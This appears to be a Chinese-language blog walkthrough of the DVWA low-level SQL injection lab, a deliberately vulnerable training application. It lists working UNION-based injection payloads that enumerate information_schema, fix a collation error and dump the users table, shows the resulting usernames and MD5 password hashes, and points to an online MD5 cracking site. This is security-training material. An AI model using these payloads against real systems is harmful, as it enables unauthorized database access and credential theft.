SQL注入一般过程

实验:Vulnerability: SQL Injection(low)

SQL注入一般过程
1.判断注入点
一般和数据库进行交互的位置
2.判断注入点类型
字符型判断:
1'   报错
1' and '1'='2  错误结果
1' and '1'='1  正确结果
数字型判断:
1'   报错
1 and 1=2  错误结果
1 and 1=1  正确结果
3.获取数据回显位置
3.1 判断返回字段数
两种方式判断:1.order by 2. union select
1' order by 1# 正确显示结果
1' order by 2# 正确显示结果
1' order by 3# 报错
判断返回结果有两列。
3.2 判断回显位置
1' union select 1#  报错
1' union select 1,2#  正确显示,并成功显示回显位置
4.查询数据库名
database() 获取数据库名,user()获取用户名
1' union select database(),user() #
5.获取表名
数据库:information_schema
数据表:information_schema.tables
字段:table_schema = 'dvwa'
通过上面的内容查询表名,table_name
-1' union select 1,table_name from information_schema.tables
where table_schema=database()#
报错:
Illegal mix of collations for operation 'UNION'  编码错误
三种方式解决:
1.变成16进制输出
-1' union select 1,hex(table_name) from information_schema.tables
where table_schema=database()#
2.输出指定字符集
-1' union select 1,table_name collate utf8_general_ci from information_schema.tables
where table_schema=database()#
3.直接修改数据库字符集

查询结果可能只显示一条,因此使用group_concat()函数,将结果进行聚合
-1' union select 1,group_concat(table_name) collate utf8_general_ci from information_schema.tables
where table_schema=database()#
查询结果为:guestbook,users
5.查询字段名
数据库:information_schema
表:information_schema.columns
条件字段:table_schema='dvwa',table_name='users'
查询内容:column_name

-1' union select 1,group_concat(column_name) collate utf8_general_ci from information_schema.columns
where table_schema=database() and table_name='users'#
查询结果: user_id,first_name,last_name,user,password,avatar,last_login,failed_login
6.查询数据
查询表:users
查询字段:user,password
-1' union select 1,group_concat(user,'~',password) from users#
查询结果:admin~5f4dcc3b5aa765d61d8327deb882cf99,gordonb~e99a18c428cb38d5f260853678922e03,1337~8d3533d75ae2c3966d7e0d4fcc69216b,pablo~0d107d09f5bbe40cade3de5c71e9e9b7,smithy~5f4dcc3b5aa765d61d8327deb882cf99
MD5在线解密:
https://www.cmd5.com/

相关推荐

  1. SQL注入过程

    2023-12-11 16:06:03       34 阅读
  2. SQL注入

    2023-12-11 16:06:03       17 阅读
  3. .Net 全局过滤,防止SQL注入

    2023-12-11 16:06:03       32 阅读
  4. 绕过过滤空格的 SQL 注入

    2023-12-11 16:06:03       36 阅读
  5. 段防止sql注入sql查询

    2023-12-11 16:06:03       28 阅读
  6. <span style='color:red;'>sql</span><span style='color:red;'>注入</span>

    sql注入

    2023-12-11 16:06:03      30 阅读

最近更新

  1. TCP协议是安全的吗?

    2023-12-11 16:06:03       16 阅读
  2. 阿里云服务器执行yum,一直下载docker-ce-stable失败

    2023-12-11 16:06:03       16 阅读
  3. 【Python教程】压缩PDF文件大小

    2023-12-11 16:06:03       15 阅读
  4. 通过文章id递归查询所有评论(xml)

    2023-12-11 16:06:03       18 阅读

热门阅读

  1. Linux 服务器内开放指定的端口

    2023-12-11 16:06:03       39 阅读
  2. 【React】react-router-dom路由导航的跳转及传参

    2023-12-11 16:06:03       43 阅读
  3. 深度学习为什么要进行训练

    2023-12-11 16:06:03       32 阅读
  4. PHP中对象数组化

    2023-12-11 16:06:03       36 阅读
  5. vue项目列表跳转详情返回列表页保留搜索条件

    2023-12-11 16:06:03       40 阅读
  6. 了解linux计划任务

    2023-12-11 16:06:03       41 阅读
  7. c++基础 循环遍历 新手学习

    2023-12-11 16:06:03       36 阅读
  8. 一篇文章读懂Jenkins的发展历程

    2023-12-11 16:06:03       38 阅读
  9. 使用Boost.Outcome模块进行容器相关的测试程序编程

    2023-12-11 16:06:03       30 阅读